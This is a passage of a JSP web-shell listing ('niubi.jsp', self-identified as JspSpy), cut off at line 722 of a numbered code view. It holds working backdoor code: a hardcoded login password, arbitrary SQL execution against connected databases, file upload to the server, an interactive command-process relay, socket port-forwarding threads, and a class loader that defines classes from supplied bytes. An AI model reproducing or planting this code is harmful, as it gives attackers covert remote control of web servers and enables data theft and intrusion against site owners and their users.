niubi.jsp 133 KB

123456789101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657585960616263646566676869707172737475767778798081828384858687888990919293949596979899100101102103104105106107108109110111112113114115116117118119120121122123124125126127128129130131132133134135136137138139140141142143144145146147148149150151152153154155156157158159160161162163164165166167168169170171172173174175176177178179180181182183184185186187188189190191192193194195196197198199200201202203204205206207208209210211212213214215216217218219220221222223224225226227228229230231232233234235236237238239240241242243244245246247248249250251252253254255256257258259260261262263264265266267268269270271272273274275276277278279280281282283284285286287288289290291292293294295296297298299300301302303304305306307308309310311312313314315316317318319320321322323324325326327328329330331332333334335336337338339340341342343344345346347348349350351352353354355356357358359360361362363364365366367368369370371372373374375376377378379380381382383384385386387388389390391392393394395396397398399400401402403404405406407408409410411412413414415416417418419420421422423424425426427428429430431432433434435436437438439440441442443444445446447448449450451452453454455456457458459460461462463464465466467468469470471472473474475476477478479480481482483484485486487488489490491492493494495496497498499500501502503504505506507508509510511512513514515516517518519520521522523524525526527528529530531532533534535536537538539540541542543544545546547548549550551552553554555556557558559560561562563564565566567568569570571572573574575576577578579580581582583584585586587588589590591592593594595596597598599600601602603604605606607608609610611612613614615616617618619620621622623624625626627628629630631632633634635636637638639640641642643644645646647648649650651652653654655656657658659660661662663664665666667668669670671672673674675676677678679680681682683684685686687688689690691692693694695696697698699700701702703704705706707708709710711712713714715716717718719720721722723724725726727728729730731732733734735736737738739740741742743744745746747748749750751752753754755756757758759760761762763764765766767768769770771772773774775776777778779780781782783784785786787788789790791792793794795796797798799800801802803804805806807808809810811812813814815816817818819820821822823824825826827828829830831832833834835836837838839840841842843844845846847848849850851852853854855856857858859860861862863864865866867868869870871872873874875876877878879880881882883884885886887888889890891892893894895896897898899900901902903904905906907908909910911912913914915916917918919920921922923924925926927928929930931932933934935936937938939940941942943944945946947948949950951952953954955956957958959960961962963964965966967968969970971972973974975976977978979980981982983984985986987988989990991992993994995996997998999100010011002100310041005100610071008100910101011101210131014101510161017101810191020102110221023102410251026102710281029103010311032103310341035103610371038103910401041104210431044104510461047104810491050105110521053105410551056105710581059106010611062106310641065106610671068106910701071107210731074107510761077107810791080108110821083108410851086108710881089109010911092109310941095109610971098109911001101110211031104110511061107110811091110111111121113111411151116111711181119112011211122112311241125112611271128112911301131113211331134113511361137113811391140114111421143114411451146114711481149115011511152115311541155115611571158115911601161116211631164116511661167116811691170117111721173117411751176117711781179118011811182118311841185118611871188118911901191119211931194119511961197119811991200120112021203120412051206120712081209121012111212121312141215121612171218121912201221122212231224122512261227122812291230123112321233123412351236123712381239124012411242124312441245124612471248124912501251125212531254125512561257125812591260126112621263126412651266126712681269127012711272127312741275127612771278127912801281128212831284128512861287128812891290129112921293129412951296129712981299130013011302130313041305130613071308130913101311131213131314131513161317131813191320132113221323132413251326132713281329133013311332133313341335133613371338133913401341134213431344134513461347134813491350135113521353135413551356135713581359136013611362136313641365136613671368136913701371137213731374137513761377137813791380138113821383138413851386138713881389139013911392139313941395139613971398139914001401140214031404140514061407140814091410141114121413141414151416141714181419142014211422142314241425142614271428142914301431143214331434143514361437143814391440144114421443144414451446144714481449145014511452145314541455145614571458145914601461146214631464146514661467146814691470147114721473147414751476147714781479148014811482148314841485148614871488148914901491149214931494149514961497149814991500150115021503150415051506150715081509151015111512151315141515151615171518151915201521152215231524152515261527152815291530153115321533153415351536153715381539154015411542154315441545154615471548154915501551155215531554155515561557155815591560156115621563156415651566156715681569157015711572157315741575157615771578157915801581158215831584158515861587158815891590159115921593159415951596159715981599160016011602160316041605160616071608160916101611161216131614161516161617161816191620162116221623162416251626162716281629163016311632163316341635163616371638163916401641164216431644164516461647164816491650165116521653165416551656165716581659166016611662166316641665166616671668166916701671167216731674167516761677167816791680168116821683168416851686168716881689169016911692169316941695169616971698169917001701170217031704170517061707170817091710171117121713171417151716171717181719172017211722172317241725172617271728172917301731173217331734173517361737173817391740174117421743174417451746174717481749175017511752175317541755175617571758175917601761176217631764176517661767176817691770177117721773177417751776177717781779178017811782178317841785178617871788178917901791179217931794179517961797179817991800180118021803180418051806180718081809181018111812181318141815181618171818181918201821182218231824182518261827182818291830183118321833183418351836183718381839184018411842184318441845184618471848184918501851185218531854185518561857185818591860186118621863186418651866186718681869187018711872187318741875187618771878187918801881188218831884188518861887188818891890189118921893189418951896189718981899190019011902190319041905190619071908190919101911191219131914191519161917191819191920192119221923192419251926192719281929193019311932193319341935193619371938193919401941194219431944194519461947194819491950195119521953195419551956195719581959196019611962196319641965196619671968196919701971197219731974197519761977197819791980198119821983198419851986198719881989199019911992199319941995199619971998199920002001200220032004200520062007200820092010201120122013201420152016201720182019202020212022202320242025202620272028202920302031203220332034203520362037203820392040204120422043204420452046204720482049205020512052205320542055205620572058205920602061206220632064206520662067206820692070207120722073207420752076207720782079208020812082208320842085208620872088208920902091209220932094209520962097209820992100210121022103210421052106210721082109211021112112211321142115211621172118211921202121212221232124212521262127212821292130213121322133213421352136213721382139214021412142214321442145214621472148214921502151215221532154215521562157215821592160216121622163216421652166216721682169217021712172217321742175217621772178217921802181218221832184218521862187218821892190219121922193219421952196219721982199220022012202220322042205220622072208220922102211221222132214221522162217221822192220222122222223222422252226222722282229223022312232223322342235223622372238223922402241224222432244224522462247224822492250225122522253225422552256225722582259226022612262226322642265226622672268226922702271227222732274227522762277227822792280228122822283228422852286228722882289229022912292229322942295229622972298229923002301230223032304230523062307230823092310231123122313231423152316231723182319232023212322232323242325232623272328232923302331233223332334233523362337233823392340234123422343234423452346234723482349235023512352235323542355235623572358235923602361236223632364236523662367236823692370237123722373237423752376237723782379238023812382238323842385238623872388238923902391239223932394239523962397239823992400240124022403240424052406240724082409241024112412241324142415241624172418241924202421242224232424242524262427242824292430243124322433243424352436243724382439244024412442244324442445244624472448244924502451245224532454245524562457245824592460246124622463246424652466246724682469247024712472247324742475247624772478247924802481248224832484248524862487248824892490249124922493249424952496249724982499250025012502250325042505250625072508250925102511251225132514251525162517251825192520252125222523252425252526252725282529253025312532253325342535253625372538253925402541254225432544254525462547254825492550255125522553255425552556255725582559256025612562256325642565256625672568256925702571257225732574257525762577257825792580258125822583258425852586258725882589259025912592259325942595259625972598259926002601260226032604260526062607260826092610261126122613261426152616261726182619262026212622262326242625262626272628262926302631263226332634263526362637263826392640264126422643264426452646264726482649265026512652265326542655265626572658265926602661266226632664266526662667266826692670267126722673267426752676267726782679268026812682268326842685268626872688268926902691269226932694269526962697269826992700270127022703270427052706270727082709271027112712271327142715271627172718271927202721272227232724272527262727272827292730273127322733273427352736273727382739274027412742274327442745274627472748274927502751275227532754275527562757275827592760276127622763276427652766276727682769277027712772277327742775277627772778277927802781278227832784278527862787278827892790279127922793279427952796279727982799280028012802280328042805280628072808280928102811281228132814281528162817281828192820282128222823282428252826282728282829283028312832283328342835283628372838283928402841284228432844284528462847284828492850285128522853285428552856285728582859286028612862286328642865286628672868286928702871287228732874287528762877287828792880288128822883288428852886288728882889289028912892289328942895289628972898289929002901290229032904290529062907290829092910291129122913291429152916291729182919292029212922292329242925292629272928292929302931293229332934293529362937293829392940294129422943294429452946294729482949295029512952295329542955295629572958295929602961296229632964296529662967296829692970297129722973297429752976297729782979298029812982298329842985298629872988298929902991299229932994299529962997299829993000300130023003300430053006300730083009301030113012301330143015301630173018301930203021302230233024302530263027302830293030303130323033303430353036303730383039304030413042304330443045304630473048304930503051305230533054305530563057305830593060306130623063306430653066306730683069307030713072307330743075307630773078307930803081308230833084308530863087308830893090309130923093309430953096309730983099310031013102310331043105310631073108310931103111311231133114311531163117311831193120312131223123312431253126312731283129313031313132313331343135313631373138313931403141314231433144314531463147314831493150315131523153315431553156315731583159316031613162316331643165316631673168316931703171317231733174317531763177317831793180318131823183318431853186318731883189319031913192319331943195319631973198319932003201320232033204320532063207320832093210321132123213321432153216321732183219322032213222322332243225322632273228322932303231323232333234323532363237323832393240324132423243324432453246324732483249325032513252325332543255325632573258325932603261326232633264326532663267326832693270327132723273327432753276327732783279328032813282328332843285328632873288328932903291329232933294
  1. <%@page pageEncoding="utf-8"%>
  2. <%@page import="java.io.*"%>
  3. <%@page import="java.util.*"%>
  4. <%@page import="java.util.regex.*"%>
  5. <%@page import="java.sql.*"%>
  6. <%@page import="java.lang.reflect.*"%>
  7. <%@page import="java.nio.charset.*"%>
  8. <%@page import="javax.servlet.http.HttpServletRequestWrapper"%>
  9. <%@page import="java.text.*"%>
  10. <%@page import="java.net.*"%>
  11. <%@page import="java.util.zip.*"%>
  12. <%@page import="java.util.jar.*"%>
  13. <%@page import="java.awt.*"%>
  14. <%@page import="java.awt.image.*"%>
  15. <%@page import="javax.imageio.*"%>
  16. <%@page import="java.awt.datatransfer.DataFlavor"%>
  17. <%@page import="java.util.prefs.Preferences"%>
  18. <%!
  19. private static final String PW = "11"; //password
  20. private static final String PW_SESSION_ATTRIBUTE = "JspSpyPwd";
  21. private static final String REQUEST_CHARSET = "ISO-8859-1";
  22. private static final String PAGE_CHARSET = "UTF-8";
  23. private static final String CURRENT_DIR = "currentdir";
  24. private static final String MSG = "SHOWMSG";
  25. private static final String PORT_MAP = "PMSA";
  26. private static final String DBO = "DBO";
  27. private static final String SHELL_ONLINE = "SHELL_ONLINE";
  28. private static final String ENTER = "ENTER_FILE";
  29. private static final String ENTER_MSG = "ENTER_FILE_MSG";
  30. private static final String ENTER_CURRENT_DIR = "ENTER_CURRENT_DIR";
  31. private static final String SESSION_O = "SESSION_O";
  32. private static String SHELL_NAME = "";
  33. private static String WEB_ROOT = null;
  34. private static String SHELL_DIR = null;
  35. public static Map ins = new HashMap();
  36. private static boolean ISLINUX = false;
  37. private static final String MODIFIED_ERROR = "JspSpy Was Modified By Some Other Applications. Please Logout.";
  38. private static final String BACK_HREF = " <a href='javascript:history.back()'>Back</a>";
  39. private static class MyRequest extends HttpServletRequestWrapper {
  40. public MyRequest(HttpServletRequest req) {
  41. super(req);
  42. }
  43. public String getParameter(String name) {
  44. try {
  45. String value = super.getParameter(name);
  46. if (name == null)
  47. return null;
  48. return new String(value.getBytes(REQUEST_CHARSET),PAGE_CHARSET);
  49. } catch (Exception e) {
  50. return null;
  51. }
  52. }
  53. }
  54. private static class SpyClassLoader extends ClassLoader{
  55. public SpyClassLoader() {
  56. }
  57. public Class defineClass(String name,byte[] b) {
  58. return super.defineClass(name,b,0,b.length - 2);
  59. }
  60. }
  61. private static class DBOperator{
  62. private Connection conn = null;
  63. private Statement stmt = null;
  64. private String driver;
  65. private String url;
  66. private String uid;
  67. private String pwd;
  68. public DBOperator(String driver,String url,String uid,String pwd) throws Exception {
  69. this(driver,url,uid,pwd,false);
  70. }
  71. public DBOperator(String driver,String url,String uid,String pwd,boolean connect) throws Exception {
  72. Class.forName(driver);
  73. if (connect)
  74. this.conn = DriverManager.getConnection(url,uid,pwd);
  75. this.url = url;
  76. this.driver = driver;
  77. this.uid = uid;
  78. this.pwd = pwd;
  79. }
  80. public void connect() throws Exception{
  81. this.conn = DriverManager.getConnection(url,uid,pwd);
  82. }
  83. public Object execute(String sql) throws Exception {
  84. if (isValid()) {
  85. stmt = conn.createStatement();
  86. if (stmt.execute(sql)) {
  87. return stmt.getResultSet();
  88. } else {
  89. return ""+stmt.getUpdateCount();
  90. }
  91. }
  92. throw new Exception("Connection is inValid.");
  93. }
  94. public void closeStmt() throws Exception{
  95. if (this.stmt != null)
  96. stmt.close();
  97. }
  98. public boolean isValid() throws Exception {
  99. return conn != null && !conn.isClosed();
  100. }
  101. public void close() throws Exception {
  102. if (isValid()) {
  103. closeStmt();
  104. conn.close();
  105. }
  106. }
  107. public boolean equals(Object o) {
  108. if (o instanceof DBOperator) {
  109. DBOperator dbo = (DBOperator)o;
  110. return this.driver.equals(dbo.driver) && this.url.equals(dbo.url) && this.uid.equals(dbo.uid) && this.pwd.equals(dbo.pwd);
  111. }
  112. return false;
  113. }
  114. public Connection getConn(){
  115. return this.conn;
  116. }
  117. }
  118. private static class StreamConnector extends Thread {
  119. private InputStream is;
  120. private OutputStream os;
  121. public StreamConnector( InputStream is, OutputStream os ){
  122. this.is = is;
  123. this.os = os;
  124. }
  125. public void run(){
  126. BufferedReader in = null;
  127. BufferedWriter out = null;
  128. try{
  129. in = new BufferedReader( new InputStreamReader(this.is));
  130. out = new BufferedWriter( new OutputStreamWriter(this.os));
  131. char buffer[] = new char[8192];
  132. int length;
  133. while((length = in.read( buffer, 0, buffer.length ))>0){
  134. out.write( buffer, 0, length );
  135. out.flush();
  136. }
  137. } catch(Exception e){}
  138. try{
  139. if(in != null)
  140. in.close();
  141. if(out != null)
  142. out.close();
  143. } catch( Exception e ){}
  144. }
  145. public static void readFromLocal(final DataInputStream localIn,final DataOutputStream remoteOut){
  146. new Thread(new Runnable(){
  147. public void run(){
  148. while (true) {
  149. try{
  150. byte[] data = new byte[100];
  151. int len = localIn.read(data);
  152. while (len != -1) {
  153. remoteOut.write(data,0,len);
  154. len = localIn.read(data);
  155. }
  156. }catch (Exception e) {
  157. break;
  158. }
  159. }
  160. }
  161. }).start();
  162. }
  163. public static void readFromRemote(final Socket soc,final Socket remoteSoc,final DataInputStream remoteIn,final DataOutputStream localOut){
  164. new Thread(new Runnable(){
  165. public void run(){
  166. while(true) {
  167. try{
  168. byte[] data = new byte[100];
  169. int len = remoteIn.read(data);
  170. while (len != -1) {
  171. localOut.write(data,0,len);
  172. len = remoteIn.read(data);
  173. }
  174. }catch (Exception e) {
  175. try{
  176. soc.close();
  177. remoteSoc.close();
  178. }catch(Exception ex) {
  179. }
  180. break;
  181. }
  182. }
  183. }
  184. }).start();
  185. }
  186. }
  187. private static class EnterFile extends File{
  188. private ZipFile zf = null;
  189. private ZipEntry entry = null;
  190. private boolean isDirectory = false;
  191. private String absolutePath = null;
  192. public void setEntry(ZipEntry e) {
  193. this.entry = e;
  194. }
  195. public void setAbsolutePath(String p) {
  196. this.absolutePath = p;
  197. }
  198. public void close() throws Exception{
  199. this.zf.close();
  200. }
  201. public void setZf(String p) throws Exception{
  202. if (p.toLowerCase().endsWith(".jar"))
  203. this.zf = new JarFile(p);
  204. else
  205. this.zf = new ZipFile(p);
  206. }
  207. public EnterFile(File parent, String child) {
  208. super(parent,child);
  209. }
  210. public EnterFile(String pathname) {
  211. super(pathname);
  212. }
  213. public EnterFile(String pathname,boolean isDir) {
  214. this(pathname);
  215. this.isDirectory = isDir;
  216. }
  217. public EnterFile(String parent, String child) {
  218. super(parent,child);
  219. }
  220. public EnterFile(URI uri) {
  221. super(uri);
  222. }
  223. public boolean exists(){
  224. return new File(this.zf.getName()).exists();
  225. }
  226. public File[] listFiles() {
  227. java.util.List list = new ArrayList();
  228. java.util.List handled = new ArrayList();
  229. String currentDir = super.getPath();
  230. currentDir = currentDir.replace('\\','/');
  231. if (currentDir.indexOf("/") == 0)
  232. {
  233. if (currentDir.length() > 1)
  234. currentDir = currentDir.substring(1);
  235. else
  236. currentDir = "";
  237. }
  238. Enumeration e = this.zf.entries();
  239. while (e.hasMoreElements())
  240. {
  241. ZipEntry entry = (ZipEntry)e.nextElement();
  242. String eName = entry.getName();
  243. if (this.zf instanceof JarFile) {
  244. if (!entry.isDirectory()){
  245. EnterFile ef = new EnterFile(eName);
  246. ef.setEntry(entry);
  247. try{
  248. ef.setZf(this.zf.getName());
  249. }catch(Exception ex) {
  250. }
  251. list.add(ef);
  252. }
  253. } else {
  254. if (currentDir.equals("")) {
  255. //zip root directory
  256. if (eName.indexOf("/") == -1 || eName.matches("[^/]+/$"))
  257. {
  258. EnterFile ef = new EnterFile(eName.replaceAll("/",""));
  259. handled.add(eName.replaceAll("/",""));
  260. ef.setEntry(entry);
  261. list.add(ef);
  262. } else {
  263. if (eName.indexOf("/") != -1) {
  264. String tmp = eName.substring(0,eName.indexOf("/"));
  265. if (!handled.contains(tmp) && !Util.isEmpty(tmp)) {
  266. EnterFile ef = new EnterFile(tmp,true);
  267. ef.setEntry(entry);
  268. list.add(ef);
  269. handled.add(tmp);
  270. }
  271. }
  272. }
  273. } else {
  274. if (eName.startsWith(currentDir)) {
  275. if (eName.matches(currentDir+"/[^/]+/?$")) {
  276. //file.
  277. EnterFile ef = new EnterFile(eName);
  278. ef.setEntry(entry);
  279. list.add(ef);
  280. if (eName.endsWith("/")) {
  281. String tmp = eName.substring(eName.lastIndexOf('/',eName.length()-2));
  282. tmp = tmp.substring(1,tmp.length()-1);
  283. handled.add(tmp);
  284. }
  285. } else {
  286. //dir
  287. try {
  288. String tmp = eName.substring(currentDir.length()+1);
  289. tmp = tmp.substring(0,tmp.indexOf('/'));
  290. if (!handled.contains(tmp) && !Util.isEmpty(tmp)) {
  291. EnterFile ef = new EnterFile(tmp,true);
  292. ef.setAbsolutePath(currentDir+"/"+tmp);
  293. ef.setEntry(entry);
  294. list.add(ef);
  295. handled.add(tmp);
  296. }
  297. } catch (Exception ex) {
  298. }
  299. }
  300. }
  301. }
  302. }
  303. }
  304. return (File[])list.toArray(new File[0]);
  305. }
  306. public boolean isDirectory(){
  307. return this.entry.isDirectory() || this.isDirectory;
  308. }
  309. public String getParent(){
  310. return "";
  311. }
  312. public String getAbsolutePath(){
  313. return absolutePath != null ? absolutePath : super.getPath();
  314. }
  315. public String getName(){
  316. if (this.zf instanceof JarFile) {
  317. return this.getAbsolutePath();
  318. } else {
  319. return super.getName();
  320. }
  321. }
  322. public long lastModified(){
  323. return entry.getTime();
  324. }
  325. public boolean canRead(){
  326. return false;
  327. }
  328. public boolean canWrite(){
  329. return false;
  330. }
  331. public boolean canExecute(){
  332. return false;
  333. }
  334. public long length(){
  335. return entry.getSize();
  336. }
  337. }
  338. private static class OnLineProcess {
  339. private String cmd = "first";
  340. private Process pro;
  341. public OnLineProcess(Process p){
  342. this.pro = p;
  343. }
  344. public void setPro(Process p) {
  345. this.pro = p;
  346. }
  347. public void setCmd(String c){
  348. this.cmd = c;
  349. }
  350. public String getCmd(){
  351. return this.cmd;
  352. }
  353. public Process getPro(){
  354. return this.pro;
  355. }
  356. public void stop(){
  357. this.pro.destroy();
  358. }
  359. }
  360. private static class OnLineConnector extends Thread {
  361. private OnLineProcess ol = null;
  362. private InputStream is;
  363. private OutputStream os;
  364. private String name;
  365. public OnLineConnector( InputStream is, OutputStream os ,String name,OnLineProcess ol){
  366. this.is = is;
  367. this.os = os;
  368. this.name = name;
  369. this.ol = ol;
  370. }
  371. public void run(){
  372. BufferedReader in = null;
  373. BufferedWriter out = null;
  374. try{
  375. in = new BufferedReader( new InputStreamReader(this.is));
  376. out = new BufferedWriter( new OutputStreamWriter(this.os));
  377. char buffer[] = new char[128];
  378. if(this.name.equals("exeRclientO")) {
  379. //from exe to client
  380. int length = 0;
  381. while((length = in.read( buffer, 0, buffer.length ))>0){
  382. String str = new String(buffer, 0, length);
  383. str = str.replaceAll("&","&amp;").replaceAll("<","&lt;").replaceAll(">","&gt;");
  384. str = str.replaceAll(""+(char)13+(char)10,"<br/>");
  385. str = str.replaceAll("\n","<br/>");
  386. out.write(str.toCharArray(), 0, str.length());
  387. out.flush();
  388. }
  389. } else {
  390. //from client to exe
  391. while(true) {
  392. while(this.ol.getCmd() == null) {
  393. Thread.sleep(500);
  394. }
  395. if (this.ol.getCmd().equals("first")) {
  396. this.ol.setCmd(null);
  397. continue;
  398. }
  399. this.ol.setCmd(this.ol.getCmd() + (char)10);
  400. char[] arr = this.ol.getCmd().toCharArray();
  401. out.write(arr,0,arr.length);
  402. out.flush();
  403. this.ol.setCmd(null);
  404. }
  405. }
  406. } catch(Exception e){
  407. }
  408. try{
  409. if(in != null)
  410. in.close();
  411. if(out != null)
  412. out.close();
  413. } catch( Exception e ){
  414. }
  415. }
  416. }
  417. private static class Table{
  418. private ArrayList rows = null;
  419. private boolean echoTableTag = false;
  420. public void setEchoTableTag(boolean v) {
  421. this.echoTableTag = v;
  422. }
  423. public Table(){
  424. this.rows = new ArrayList();
  425. }
  426. public void addRow(Row r) {
  427. this.rows.add(r);
  428. }
  429. public String toString(){
  430. StringBuffer html = new StringBuffer();
  431. if (echoTableTag)
  432. html.append("<table>");
  433. for (int i = 0;i<rows.size();i++) {
  434. Row r=(Row)rows.get(i);
  435. html.append("<tr class=\"alt1\" onMouseOver=\"this.className='focus';\" onMouseOut=\"this.className='alt1';\">");
  436. ArrayList columns = r.getColumns();
  437. for (int a = 0;a<columns.size();a++) {
  438. Column c = (Column)columns.get(a);
  439. html.append("<td nowrap>");
  440. String vv = Util.htmlEncode(Util.getStr(c.getValue()));
  441. if (vv.equals(""))
  442. vv = "&nbsp;";
  443. html.append(vv);
  444. html.append("</td>");
  445. }
  446. html.append("</tr>");
  447. }
  448. if (echoTableTag)
  449. html.append("</table>");
  450. return html.toString();
  451. }
  452. public static String rs2Table(ResultSet rs,String sep,boolean op) throws Exception{
  453. StringBuffer table = new StringBuffer();
  454. ResultSetMetaData meta = rs.getMetaData();
  455. int count = meta.getColumnCount();
  456. if (!op)
  457. table.append("<b style='color:red;margin-left:15px'><i> View Struct </i></b> - <a href=\"javascript:doPost({o:'executesql'})\">View All Tables</a><br/><br/>");
  458. else
  459. table.append("<b style='color:red;margin-left:15px'><i> All Tables </i></b><br/><br/>");
  460. table.append("<script>function view(t){document.getElementById('sql').value='select * from "+sep+"'+t+'"+sep+"';}</script>");
  461. table.append("<table border=\"0\" cellpadding=\"3\" cellspacing=\"0\" style=\"margin-left:15px\"><tr class=\"head\">");
  462. for (int i = 1;i<=count;i++) {
  463. table.append("<td nowrap>"+meta.getColumnName(i)+"</td>");
  464. }
  465. if (op)
  466. table.append("<td>&nbsp;</td>");
  467. table.append("</tr>");
  468. while (rs.next()) {
  469. String tbName = null;
  470. table.append("<tr class=\"alt1\" onMouseOver=\"this.className='focus';\" onMouseOut=\"this.className='alt1';\">");
  471. for (int i = 1;i<=count;i++) {
  472. String v = rs.getString(i);
  473. if (i == 3)
  474. tbName = v;
  475. table.append("<td nowrap>"+Util.null2Nbsp(v)+"</td>");
  476. }
  477. if (op)
  478. table.append("<td nowrap> <a href=\"#\" onclick=\"view('"+tbName+"')\">View</a> | <a href=\"javascript:doPost({o:'executesql',type:'struct',table:'"+tbName+"'})\">Struct</a> | <a href=\"javascript:doPost({o:'export',table:'"+tbName+"'})\">Export </a> | <a href=\"javascript:doPost({o:'vExport',table:'"+tbName+"'})\">Save To File</a> </td>");
  479. table.append("</tr>");
  480. }
  481. table.append("</table><br/>");
  482. return table.toString();
  483. }
  484. }
  485. private static class Row{
  486. private ArrayList cols = null;
  487. public Row(){
  488. this.cols = new ArrayList();
  489. }
  490. public void addColumn(Column n) {
  491. this.cols.add(n);
  492. }
  493. public ArrayList getColumns(){
  494. return this.cols;
  495. }
  496. }
  497. private static class Column{
  498. private String value;
  499. public Column(String v){
  500. this.value = v;
  501. }
  502. public String getValue(){
  503. return this.value;
  504. }
  505. }
  506. private static class Util{
  507. public static boolean isEmpty(String s) {
  508. return s == null || s.trim().equals("");
  509. }
  510. public static boolean isEmpty(Object o) {
  511. return o == null || isEmpty(o.toString());
  512. }
  513. public static String getSize(long size,char danwei) {
  514. if (danwei == 'M') {
  515. double v = formatNumber(size / 1024.0 / 1024.0,2);
  516. if (v > 1024) {
  517. return getSize(size,'G');
  518. }else {
  519. return v + "M";
  520. }
  521. } else if (danwei == 'G') {
  522. return formatNumber(size / 1024.0 / 1024.0 / 1024.0,2)+"G";
  523. } else if (danwei == 'K') {
  524. double v = formatNumber(size / 1024.0,2);
  525. if (v > 1024) {
  526. return getSize(size,'M');
  527. } else {
  528. return v + "K";
  529. }
  530. } else if (danwei == 'B') {
  531. if (size > 1024) {
  532. return getSize(size,'K');
  533. }else {
  534. return size + "B";
  535. }
  536. }
  537. return ""+0+danwei;
  538. }
  539. public static boolean exists(String[] arr,String v) {
  540. for (int i =0;i<arr.length;i++) {
  541. if (v.equals(arr[i])) {
  542. return true;
  543. }
  544. }
  545. return false;
  546. }
  547. public static double formatNumber(double value,int l) {
  548. NumberFormat format = NumberFormat.getInstance();
  549. format.setMaximumFractionDigits(l);
  550. format.setGroupingUsed(false);
  551. return new Double(format.format(value)).doubleValue();
  552. }
  553. public static boolean isInteger(String v) {
  554. if (isEmpty(v))
  555. return false;
  556. return v.matches("^\\d+$");
  557. }
  558. public static String formatDate(long time) {
  559. SimpleDateFormat format = new SimpleDateFormat("yyyy-MM-dd hh:mm:ss");
  560. return format.format(new java.util.Date(time));
  561. }
  562. public static String convertPath(String path) {
  563. return path != null ? path.replace('\\','/') : "";
  564. }
  565. public static String htmlEncode(String v) {
  566. if (isEmpty(v))
  567. return "";
  568. return v.replaceAll("&","&amp;").replaceAll("<","&lt;").replaceAll(">","&gt;");
  569. }
  570. public static String getStr(String s) {
  571. return s == null ? "" :s;
  572. }
  573. public static String null2Nbsp(String s) {
  574. if (s == null)
  575. s = "&nbsp;";
  576. return s;
  577. }
  578. public static String getStr(Object s) {
  579. return s == null ? "" :s.toString();
  580. }
  581. public static String exec(String regex, String str, int group) {
  582. Pattern pat = Pattern.compile(regex);
  583. Matcher m = pat.matcher(str);
  584. if (m.find())
  585. return m.group(group);
  586. return null;
  587. }
  588. public static void outMsg(Writer out,String msg) throws Exception {
  589. outMsg(out,msg,"center");
  590. }
  591. public static void outMsg(Writer out,String msg,String align) throws Exception {
  592. out.write("<div style=\"background:#f1f1f1;border:1px solid #ddd;padding:15px;font:14px;text-align:"+align+";font-weight:bold;margin:10px\">"+msg+"</div>");
  593. }
  594. public static String highLight(String str) {
  595. str = str.replaceAll("\\b(abstract|package|String|byte|static|synchronized|public|private|protected|void|int|long|double|boolean|float|char|final|extends|implements|throw|throws|native|class|interface|emum)\\b","<span style='color:blue'>$1</span>");
  596. str = str.replaceAll("\t(//.+)","\t<span style='color:green'>$1</span>");
  597. return str;
  598. }
  599. }
  600. private static class UploadBean {
  601. private String fileName = null;
  602. private String suffix = null;
  603. private String savePath = "";
  604. private ServletInputStream sis = null;
  605. private OutputStream targetOutput = null;
  606. private byte[] b = new byte[1024];
  607. public void setTargetOutput(OutputStream stream) {
  608. this.targetOutput = stream;
  609. }
  610. public UploadBean() {
  611. }
  612. public void setSavePath(String path) {
  613. this.savePath = path;
  614. }
  615. public String getFileName(){
  616. return this.fileName;
  617. }
  618. public void parseRequest(HttpServletRequest request) throws IOException {
  619. sis = request.getInputStream();
  620. int a = 0;
  621. int k = 0;
  622. String s = "";
  623. while ((a = sis.readLine(b,0,b.length))!= -1) {
  624. s = new String(b, 0, a,PAGE_CHARSET);
  625. if ((k = s.indexOf("filename=\""))!= -1) {
  626. s = s.substring(k + 10);
  627. k = s.indexOf("\"");
  628. s = s.substring(0, k);
  629. File tF = new File(s);
  630. if (tF.isAbsolute()) {
  631. fileName = tF.getName();
  632. } else {
  633. fileName = s;
  634. }
  635. k = s.lastIndexOf(".");
  636. suffix = s.substring(k + 1);
  637. upload();
  638. }
  639. }
  640. }
  641. private void upload() throws IOException{
  642. try {
  643. OutputStream out = null;
  644. if (this.targetOutput != null)
  645. out = this.targetOutput;
  646. else
  647. out = new FileOutputStream(new File(savePath,fileName));
  648. int a = 0;
  649. int k = 0;
  650. String s = "";
  651. while ((a = sis.readLine(b,0,b.length))!=-1) {
  652. s = new String(b, 0, a);
  653. if ((k = s.indexOf("Content-Type:"))!=-1) {
  654. break;
  655. }
  656. }
  657. sis.readLine(b,0,b.length);
  658. while ((a = sis.readLine(b,0,b.length)) != -1) {
  659. s = new String(b, 0, a);
  660. if ((b[0] == 45) && (b[1] == 45) && (b[2] == 45) && (b[3] == 45) && (b[4] == 45)) {
  661. break;
  662. }
  663. out.write(b, 0, a);
  664. }
  665. if (out instanceof FileOutputStream)
  666. out.close();
  667. } catch (IOException ioe) {
  668. throw ioe;
  669. }
  670. }
  671. }
  672. %>
  673. <%
  674. SHELL_NAME = request.getServletPath().substring(request.getServletPath().lastIndexOf("/")+1);
  675. String myAbsolutePath = application.getRealPath(request.getServletPath());
  676. if (Util.isEmpty(myAbsolutePath)) {//for weblogic
  677. SHELL_NAME = request.getServletPath();
  678. myAbsolutePath = new File(application.getResource("/").getPath()+SHELL_NAME).toString();
  679. SHELL_NAME=request.getContextPath()+SHELL_NAME;
  680. WEB_ROOT = new File(application.getResource("/").getPath()).toString();
  681. } else {
  682. WEB_ROOT = application.getRealPath("/");
  683. }
  684. SHELL_DIR = Util.convertPath(myAbsolutePath.substring(0,myAbsolutePath.lastIndexOf(File.separator)));
  685. if (SHELL_DIR.indexOf('/') == 0)
  686. ISLINUX = true;
  687. else
  688. ISLINUX = false;
  689. if (session.getAttribute(CURRENT_DIR) == null)
  690. session.setAttribute(CURRENT_DIR,Util.convertPath(SHELL_DIR));
  691. HttpServletRequest myrequest = new MyRequest(request);
  692. if (session.getAttribute(PW_SESSION_ATTRIBUTE) == null || !(session.getAttribute(PW_SESSION_ATTRIBUTE)).equals(PW)) {
  693. String o = request.getParameter("o");
  694. if (o != null && o.equals("login")) {
  695. ((Invoker)ins.get("login")).invoke(request,response,session);
  696. return;
  697. } else if (o != null && o.equals("vLogin")) {
  698. ((Invoker)ins.get("vLogin")).invoke(request,response,session);
  699. return;
  700. } else {
  701. ((Invoker)ins.get("vLogin")).invoke(request,response,session);
  702. return;
  703. }
  704. }
  705. %>
  706. <%!
  707. private static interface Invoker {
  708. public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception;
  709. public boolean doBefore();
  710. public boolean doAfter();
  711. }
  712. private static class DefaultInvoker implements Invoker{
  713. public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception {
  714. }
  715. public boolean doBefore(){
  716. return true;
  717. }
  718. public boolean doAfter() {
  719. return true;
  720. }
  721. }
  722. private static class ScriptInvoker extends DefaultInvoker{
